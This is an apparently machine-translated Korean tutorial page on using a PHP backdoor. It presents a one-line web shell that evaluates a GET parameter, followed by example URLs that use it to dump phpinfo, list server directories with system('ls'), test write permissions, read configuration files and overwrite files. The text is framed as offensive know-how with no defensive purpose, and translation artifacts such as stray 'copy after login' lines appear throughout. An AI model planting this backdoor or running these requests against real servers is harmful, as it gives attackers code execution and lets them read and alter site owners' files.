PHP 백도어의 일부 용도

藏色散人
풀어 주다: 2023-04-06 20:20:02
앞으로
7041명이 탐색했습니다.

오늘은 PHP에서 백도어의 가장 일반적인 용도에 대해 이야기하겠습니다.

먼저, 트로이 목마라고도 할 수 있는 가장 간단한 백도어를 작성하세요.

<?php eval($_GET[&#39;evl&#39;]);
로그인 후 복사

그렇습니다. 이 서버에 대해 많은 실행 권한을 얻었습니다.

그 장면의 용도는 무엇인가요?

인쇄 서버phpinfo

http://www.test.com/a.php?evl=phpinfo()
로그인 후 복사

디렉토리에 어떤 파일이 있는지 확인

http://www.test.com/a.php?evl=var_dump(system("ls /mnt/web/ -a"));
로그인 후 복사

디렉토리에 쓰기가 가능한지 확인하세요. 다음으로, 쓰기 가능한 디렉터리에 실행 파일을 생성할 수 있습니다.

http://www.test.com/a.php?evl=var_dump(is_writable("/mnt/web/abc/"));
로그인 후 복사

파일의 내용을 가져옵니다. 일반적으로 쓰기를 위해 특정 쓰기 가능한 디렉터리에 대한 구성을 읽는 데 사용됩니다.

http://www.test.com/a.php?evl=var_dump(file_get_contents("/mnt/web/temp/api.php"));
로그인 후 복사

files

http://www.test.com/a.php?evl=var_dump(file_put_contents("/mnt/web/temp/api.php",file_get_contents("/mnt/web/script/test.php")));
로그인 후 복사

그렇습니다. 위의 내용은 기본적으로 서버 보기를 완료할 수 있는 부분을 파괴했습니다. 다른 기능에 대해서도 추론해 보겠습니다.

위 내용은 PHP 백도어의 일부 용도의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:aliyun.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿